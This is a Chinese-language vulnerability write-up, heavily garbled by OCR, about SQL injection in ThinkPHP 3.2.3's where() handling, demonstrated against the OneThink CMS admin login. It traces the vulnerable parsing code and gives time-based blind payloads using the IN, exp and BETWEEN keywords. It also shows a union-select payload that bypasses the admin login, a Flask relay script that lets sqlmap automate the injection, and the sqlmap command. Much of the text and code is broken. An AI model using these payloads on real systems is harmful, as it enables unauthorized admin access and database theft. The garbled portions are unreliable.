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FIFRRRSSISR, SFaRik, IEEREREETOHIAL, 1Bk T R——rthinkphp3.2.3 RYHEZR, BRE

2.

telseif('exp'==strtolower($val[8])){ EAEE Yelseif( 'exp'==strtolower{$vall8])}{ ERFIER
el whepeSto g Skey 't €ua101]:
yelseif(preg_match(' /IN/i',$val[e])){ IN E% - glsei eg_match( '/ FEHOTIN|INIS/i',%valle])){ IN EE
e e 3RS — e i {$val[2]) 8& ‘exp'==%val[2]} {
$whereStr .= $key.' '.strtoupper($val[e]).' '.$val[l]; + r .= $key.' '.$exp.' '.jval[l];
Yelse{ Yelse{
if(is_string($val[1])) { if(is_string($val[1])) {
$val[l] = explode(',',$val[l]); $val[1l] = explode(',',$val[1]);
T ¥
$zane = impleode(’,',$this->parseValue($val[l])); $zone = implode(’,',$this->parseValue($val[l]));
$whereStr .= $key.' '.strtoupper($val[e]).' (".%zone.')'; + $whereStr .= $key.' '.$exp.' ('.$zone.')";
}elseif(preg match('/BETWEEN/i',$val[e])){ // BETHEEMZE 5 :—I:;sei%-;preg,ma:m('_.N‘Jc-TBETl..EEN|35-:.EE'|:5..’.',Su-a1[ejj:-1 /
BETUEENEZE
$data = is_string($val[1])? explode(',',$val[1]):$wval[1]; fdata = is_string($val[1])? explode(',',$val[1]):$val[l];
- §whereStr .= Skey.' '.strtoupper($val[8]).' '.Sthis- + $uhereStr .= Skey.' '.fexp.' '.Sthis->parseValue($data[8]).
>parseValue($data[@]).' AMD '.$this->parseValue($data[1]); AND '.$this->parseValue($data[l]);
}else{ Yelse{
E(L('_EXPRESS_ERROR_').':".$val[@]); E(L{'_EXPRESS_ERROR_').':'.$val[@]);
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ject%5D&name=%E5%9B%BE%E7%89%87.png&originHeight=357&originWidth=1152
&size=4308888&status=done&style=none&width=746)
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# \OneThink\ThinkPHP\Library\Think\Model .class.php #1576L

public function where($where,$parse=null){//$where=array("username"=>"xxx"

if(isset($this->options['where'])){

$this->options['where'] = array_merge($this->options['where'],$where);// ML 2t &FH
#4 Floptions H7
}else{
$this->options['where'] =  $where;

}

return $this;

LInERH T THAESEH, BIRH find) , 15 soption WEIEN sthis->db XTFRAY select BR
],

# \OneThink\ThinkPHP\Library\Think\Model .class.php #624L
public function find($options=array()) {

$resultSet =  $this->db->select($options);

BN select BREL, XFRICHEEFERZE]T buildselectsql Jik
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Db.dass.php

function select(foptions=array()) {

$this->model $options[ 'model’];
$sql $this->buildSelectSql($options);
$result $this->query($sql,fthis->parseBind(!empty($options['bind"
1) ?$options['bind’ ]:array()));
$result;
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ject%5D&name=%E5%9B%BE%E7%89%87.png&originHeight=274&originWidth=1079
&size=644228& status=done&style=none&width=1079)
soptions LEAIFAFAEF,

# \OneThink\ThinkPHP\Library\Think\Db.class.php # 804L

protected $selectSql = 'SELECT%DISTINCT% %FIELD% FROM %TABLE%%JOIN%%WHERE%%GROUP%%HAVING%%ORDER%%L I

MIT% %UNIONZ%%COMMENT%" ;
public function buildSelectSql($options=array()) {
if(isset($options['page'])) {

// R HLlimit

$sql = $this->parseSql($this->selectSql,$options);/ *FHf*/

XA parsesql BH, HE[ENER, HEZERIFZ parsewnere JI7X
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function parseSql($sql,%options=array()){
$sql str_replace(
array('%TABLE%' , '%DISTINCT%' , '%FIELD%", '%JOIN%' , '%WHERE%','%GROUP%',"
%HAVING%' , "%ORDER%' , '%LIMIT%" , "%UNION%' , '%COMMENT%'),
array(
$this->parseTable($options[‘table’]),
$this->parseDistinct(isset($options[‘distinct’])?$options[’
distinct']:false),
$this->parseField(!empty($options['field’])?$options[’'field']:"*"'
)s
$this->parseloin(!empty($options["join'])?$options['join']:"'"), =
$this->parselWhere(!empty($options['where'])?%$options[ 'where’']:"")

2
$this->parseGroup(!empty($options[ 'group’])?$options[ ‘group’]: ")
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($where $key->%val){
$whereStr ("
{is_numeric($key)){
$key '_complex';

$multi is
$key
(strpos($key
$array

$multi$
¢str[] (" .$thi relte ey ($k),$v).")";

1

i
$whereStr implode(' OR *,%str);
rpos{$key, "&°)){
de("&",$key);

$v $multi?$vall$
$strl] (-8

1

I
$whereStr implode(" AND ',$str);
I

reltem(

|
5 1
$whereStr parseWhereltem($this->parsekey($key),$val);

1
J
1

}
$whereStr * )’ .$operate;

1
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function parseKey(&3k
tkey;
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THARBENRERMTT T, FFDIT—TIXAD parsewnererten() EXEY

p odel.c p Db.dass.php ctio
$whereStr| (" implode(' ' .$likelogic."® ',$like).")';

1
¥ {
$wherestr] $key ' " s->comparison[strtolower($val[©])]."
parseValue($val[1]);
1
{"exp'==strtolower($val[6])}{
$whereStr] (' $key. ' " $val[1].') *;
match('/IN/i',$val[8])){
$val[2]) ‘exp’—-$val[2]) {
eStr] $key.' ' _strtoupper($val[e]).' " _$val[1l];

1(i575tring($val[_])) {
$val[1] explode(",",%val[1]);

;zone implode(’,” >parseValue($val[1]));
$whereStr $key.' ".strt r($val[e]).' (' .$zone.')"';

e1)){
» " ,$val[1]):$val[1];
$val[e])." '.f$this->parseValue($data[0])."
sy
$uhereStd;
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B, sval KEFTLEA swere T, ZMBATATIEHY;
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BT, vaile] £ W EEEMRAWEBEHESRE, BEEHTIHE, S8 sqliEA,

# \OneThink\ThinkPHP\Library\Think\Db.class.php #469L
protected function parseWhereItem($key,$val) {
$whereStr = '';
elseif(preg_match('/IN/i',$val[e])){ // IN &&
if(isset($val[2]) && 'exp'==$val[2]) {
$whereStr .= $key.' '.strtoupper($val[e]).' '.$val[1l];
}else{
if(is_string($val[1l])) {
$val[1l] = explode(',',$val[l]);

}
$zone = implode(',',$this->parsevalue($val[l]));
$whereStr .= $key.' '.strtoupper($val[0]).' ('.$zone.')';

}
}elseif (preg_match('/BETWEEN/i',$val[@])){ // BETWEENZ 4
$data = is_string($val[1])? explode(',',$val[1]):$val[l];

$whereStr .= ' ('.$key.' '.strtoupper($val[@])."' '.$this->parseValue($data[@]).' AND '.$th
is->parsevValue($data[1])."' )';
}

PBLABEFEINTE, XBR(IBERSERIL, BIREAEAN

iENSH



https://cdn.nlark.com/yuque/0/2020/png/166008/1596094888962-f08f1e3e-11dc-4f5c-a5ec-4337263f27fe.png#align=left&display=inline&height=525&margin=%5Bobject%20Object%5D&name=%E5%9B%BE%E7%89%87.png&originHeight=525&originWidth=1120&size=102629&status=done&style=none&width=1120

payload1-in JEAN

username[]=in ('')) and (select 1 from (select sleep(4))x)--+-&password=2&verify=0x401

aaaaaaaa [1=in ("*)) and (select 1 from (select
sleep (4)) x) ——+-&password=28ver i fy=0x401

|

@ | < ” + H > HTy:-,—‘. a search term 0 matches @ ‘ < H + “Ty:‘; a search term ‘ 0 matches

Done 431 bytesl| 4,038 millis

(https://cdn.nlark.com/yuque/0/2020/png/166008/1596097659418-e360cd21-5623-
40ba-b980-

edc74a3elede.png#align=left&display=inline&height=185&margin=%5Bobject%200b
ject%5D&name=%E5%9B%BE%E7%89%87.png&originHeight=185&originWidth=1362
&size=14085&status=done&style=none&width=1362)

SEhRAT SQLiEA

SELECT * FROM “onethink_ucenter_member® WHERE ( ~username’
IN ('')) AND (SELECT 1 FROM (SELECT SLEEP(4))X)-- - () ) LIMIT 1

payload2-exp ;A

username[@]=exp&username[1]=>(select 1 from (select sleep(3))x)&password=2&verify=0x401

sername [0]=exp&username[1]=> (select 1 from (select
sleep (3)) x) &password=2&ver i fy=0x401

N
@ ‘ < H + H = HT;«:E a search term 0 matches @ ‘ < H + H = HT;;‘E a search term |m
Done 431 bytes I3,227 millis
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SChRAAT SQLIESG

SELECT * FROM ~onethink_ucenter_member® WHERE ( (" username’
> (select 1 from (select sleep(3))x)) )

payload3-between jEA

username[@]=BETWEEN 1 and ( select 1 from (select sleep(2))x)))--+-&username[1]=&password=2&verify=0
X401

username [0]=BETWEEN 1 and ( select 1 from (select
sleep (2))x))) ——+-&username[1]=Epasswor d=28ver i fy=0x401

® ‘ < H + H o H’ pe a search term 0 matches ® ‘ < ” + ” > H’ pe a search term | 0 matches
Done 431 bytes §2,032 millis
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SELECT * FROM “onethink ucenter member® WHERE ( (" username’
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BETWEEN 1 AND ( SELECT 1 FROM (SELECT SLEEP(2))X)))-- - '’ AND null ) ) LIMIT 1

ok, MEBTIEN, BIHMEEERRKEENR, XKRIEEAFER, M "HREEE" AR,
BEXZH], BHEESTENERIZE.

EFEIES

8EF FileMonitor (https://github.com/TheKingOfDuck/FileMonitor) TH, BEIEEER
2bRY SQL B

SELECT * FROM "onethink_ucenter_member® WHERE ( “username™ = '1' ) LIMIT 1

MI#FEZR onethink_ucenter_member HYLEITUITE, B 1151, BAKGEINMEERLIE 11 15

%‘SZ union select 1,2,3,4,...,11

+ &S
M ¥ id  username passwerd email mebile reg time  regip last_legin_time last_login ik update time status
FID EPE H PR BRER  EERe e REEABIA SRR mmEIR BEFRT

[] '€= &53 g®= 1 admin ] 1
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ect%5D&name=%E5%9B%BE%E7%89%87.png&originHeight=99&originWidth=1047&
size=31309&status=done&style=none&width=1047)

EERINEZFZAEIHEIES  http://one.think/index.php?s=/admin/public/login.html
(http://one.think/index.php?s=/admin/public/login.html) , ERNIRES
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PubiicController.class.php

login($username null, $passworc

rify($verify)){
rror (' WIEBEARERE! );

1
J

$User UserApi;
$uid - $User->login($username, $password);

(0 < $uid){

$Member - D("Member');
($Member->login($uid)){

$this->success("EFMIN ! ', U('Index/index'));
I

b {

$this->error($Member->getError());

}

(https://cdn.nlark.com/yuque/0/2020/png/166008/1596096627619-478a3b9b-5df4-
43d4-a1b9-
c8eaab639f1ea.png#align=Ileft&display=inline&height=507&margin=%5Bobject%200bj
ect%5D&name=%E5%9B%BE%E7%89%87.png&originHeight=507&originWidth=1112
&size=58809&status=done&style=none&width=1112)

# OneThink\Application\Admin\Controller\PublicController.class.php : 31L

public function login($username = null, $password = null, $verify = null){
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$User = new UserApi,;
$uid = $User->login($username, $password);

N

EEJ\& UcenterMemberModel %, i&)\ login P §f(

# /OneThink/Application/User/Api/UserApi.class.php #42L

protected function _init(){

$this->model = new UcenterMemberModel(); // PGt

public function login($username, $password, $type = 1){

return $this->model->login($username, $password, $type);

“ReIRE, RINERAIKERIE

# /OneThink/Application/User/Model/UcenterMemberModel.class.php #148L
/* K EAE */
public function login($username, $password, $type = 1){
$map = array();
switch ($type) {
case 1:

$map['username'] = $username; // [%map#tZ4iit1E]

break;

/* KRG EA
$user = $this->where($map)->Ffind(); // [1 /' 45iF]
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if(think_ucenter md5($password, UC_AUTH_KEY) === $user['password']){ [2 iG]
$this->updateLogin($user['id']); // ZH#H/H /" & R15E
return $user['id']; // BRIy, &[HEHFID

} else {
return -2; //Z15#iR
}
} else {
return -1; ///H /P EFEEBRESE
}

BIENE: — M HAFERINER, BIER:

o FAFEIE, BIEBIY susername AYIGUE, FEEEEIAIHAY suser['status'] KFF, Ff
LX?&;I $user = $this->where($map)->find() ]\é—,\, EE where() Tj_,f |_| \ThinkPHP
XHETT, XREAR.

i ’Z‘ﬁrﬂﬁﬁE ED %ﬁﬁ—f think_ucenter_md5($password, UC_AUTH_KEY) %:_FEYEU}:H
HO suser['password'] ,  $password ELSCREENEEMHESMANIETD, AR
ﬂf think_ucenter_md5

# \OneThink\Application\User\Common\common.php #15L

function think_ucenter_md5($str, $key = 'ThinkUCenter'){
return '' === $str ? '' : md5(shal($str) . $key);

}

BHES: MRBAEANTE, BPANZRERENERBASE—-EFRT, REALR
LZ\EH:EHJ hash I8! FTIAZRBIEX—SHiRE T, RFELL POST LXAIERAT

RpAT!
Send Target: http:/lone.think /@
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | Beautifier | U2C | JSON | U2C
POST /index. php?s=/admin/public/login. html HTTP/1.1 nd HTTP/1.1 200 OK nd
Host: one. think Date: Thu, 30 Jul 2020 08:50:00 GMT



https://cdn.nlark.com/yuque/0/2020/png/166008/1596099037780-24dfd9fa-85f4-48d7-aa70-b6a2f379ba2b.png#align=left&display=inline&height=530&margin=%5Bobject%20Object%5D&name=%E5%9B%BE%E7%89%87.png&originHeight=530&originWidth=1362&size=85775&status=done&style=none&width=1362

User-Agent: Mozilla/5.0 (Nindows NT 10.0; ) AppleWNebKit/537.36 (KHTML, like Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j mod_fcgid/2.3.9

Gecko) Chrome/83.0.4086. 0 Safari/537.36 X-| P red-By: PHP/7.0.12

Accept: application/json, text/javascript, */*; g=0.01 Expires: Th 19 Nov 1981 08:52:00 GNT

Accept-Language: zh-CN zh:q:U 8, zh-TW;q=0. 7, zh-HK;q=0. 5, en-US;g=0. 3, en;q=0. 2 Ca h ~Con I: no-store, no-cache st-revalidate

Accept-Encoding: gzip. defla Pragm. it I
Gontent-Type: application/x—www—form-urlencoded; charset=UTF-8 Goni t close

X-Requested-With: XMLHttpRequest Co t nt- Typ application/json; charset=utf-8

G tant-L ngth: 94 Content-Length: 101

Origin: http:// think

Connection: cl (i

onl nfo": "BRMIN! ", "status”:1. "url”:"/index. php?s=/admin/index/index. html ")
Referer: http://one. think/index. php?s=/admin/public/login. himl -

Cookie: XDEBUG_PROFILE=XDEBUG_ECLIPSE; pgv_pvi=1489386496;
PHPSESS 1D=gZhch578345a67gauc75jq02s7

sername[0]=exp&username[1]=)) union select
1.2,'".4,5,6,7.8.9,10, 1-—+_&password=&ver i fy=0x401

[4]

(https://cdn.nlark.com/yuque/0/2020/png/166008/1596099037780-24dfd9fa-
85f4-48d7-aa70-

b6a2f379ba2b.png#align=Ileft&display=inline&height=530&8&margin=%5Bobject
%200bject%5D&name=%E5%9B%BE%E7%89%87.png&originHeight=530&origi
nNWidth=1362&size=85775&status=done&style=none&width=1362)

[16:50:01]SELECT * FROM “onethink_ucenter_member® WHERE ( ( username’ )) union select 1,2,'',4,5,6,7,8,9,10,1--

-) ) LIMIT 1

(https://cdn.nlark.com/yuque/0/2020/png/166008/1596099275343-152ee256-
330a-46¢c6-bbe1-
ba92a7c798cb.png#align=Ileft&display=inline&height=52&margin=%5Bobject%
200bject%5D&name=%E5%9B%BE%E7%89%87.png&originHeight=52&origin
Width=1357&size=14600&status=done&style=none&width=1357)
MEARBAEZZM, BACEAILIHEET, BRATMIEEERNKSER, —&
SRAMRBIWIES, ATLUXEBEREM—FIE SQLMAP 9B (JF tamper) |, it
ARSH

## X3#E sqlmap: Flask S8ExK

B EANRMENTE inejct.png
(https://cdn.nlark.com/yuque/0/2020/png/166008/1596112512100-0a1dce03-
e09b-4594-8a65-
2b7e31302¢98.png#align=left&display=inline&height=4118&margin=%5Bobject
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%200bject%5D&name=inejct.png&originHeight=411&originWidth=13628&size
=716798&status=done&style=none&width=1362)

# encoding: utf-8

# sqli-reverse-flask.py

from flask import Flask,request,jsonify

import requests

def remote_login(payload):

X JIR 5% s AR T R 37 SR
burp@_url = "http://one.think:80/index.php?s=/admin/public/login.html"
burp@_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; ) AppleWebKit/537.36 (KHTML, like

Gecko) Chrome/83.0.4086.0 Safari/537.36", "Accept": "application/json, text/javascript, */*; q=0.0

1",
ng":

"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encodi

"gzip, deflate", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Request

ed-With": "XMLHttpRequest"}

#)) or 1=1 -- -

pay = ") =' {} ')-- -".format(payload) # )={payload} )1 =1

print(pay)

burpe_data = {"act": "verify", "username[@]": 'exp', "username[1]": pay, "password": "", "verif
Py

resp = requests.post(burp@_url, headers=burp@_headers, data=burp@_data, verify=False)

return resp.text


https://cdn.nlark.com/yuque/0/2020/png/166008/1596112512100-0a1dce03-e09b-4594-8a65-2b7e31302c98.png#align=left&display=inline&height=411&margin=%5Bobject%20Object%5D&name=inejct.png&originHeight=411&originWidth=1362&size=71679&status=done&style=none&width=1362

app = Flask(__name_ )

@app.route('/")

def login():
payload = request.args.get("id")
print(payload)
response = remote_login(payload)
return response

if _name__ == '__main__':

app.run()

ABARTIXNMERIA, [FRARSRNISEWEIL, RREEERM
XJ http://127.0.0.1:50008/2id=1 B sqlmap BIA], [RIE FHSLEE tamper HAtHRE, &2k
sqlmap BESZIRBIE "EHIERY" IEASEL

http://127.0.0.0:5000 sqli-reverse-

/%id={PAYLOAD} " flask.py \

requests.post

Raw | Params | Headers | Hex

l ® POST /index. php?s=/admin/put ogin. html HTTP/1. 1 -
; F Host: one. think

Content-Length: 66

username [0]=expdusername[1] +Lpassword=8ver i fy=0x401

(https://cdn.nlark.com/yuque/0/2020/png/166008/1596113258980-6eaa4fc8-17a6-
48a1-952c-e088636cf31e.png)

python sqlmap.py -u http://127.0.0.1:5000/?id=1 --tech=B --dbms=mysql --batch
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ThinkPHP3.2.3 {EZRSLII RS HUERERIEDHT (https://xz.aliyun.com/t/79)

ThinkPHP3.2 #E28 sql ;ENRIESHT (2018-08-23) Fly fSF25E - CSDN #Z&
_thinkphp3.2.3 il (https://blog.csdn.net/Fly _hps/article/details/84954205)

Thinkphp 1EZ85iH sql 156
(https://blog.csdn.net/weixin_ 41031687/article/details/82773649?

utm_medium=distribute.pc_relevant t0.none-task-blog-

BlogCommendFromMachineLearnPai2-1.edu weight&depth 1-
utm_source=distribute.pc_relevant t0.none-task-blog-

BlogCommendFromMachineLearnPai2-1.edu weight)

http://documeeent.thinkphp.cn/manual_3 2.html#log
(http://document.thinkphp.cn/manual 3 2.html#log)
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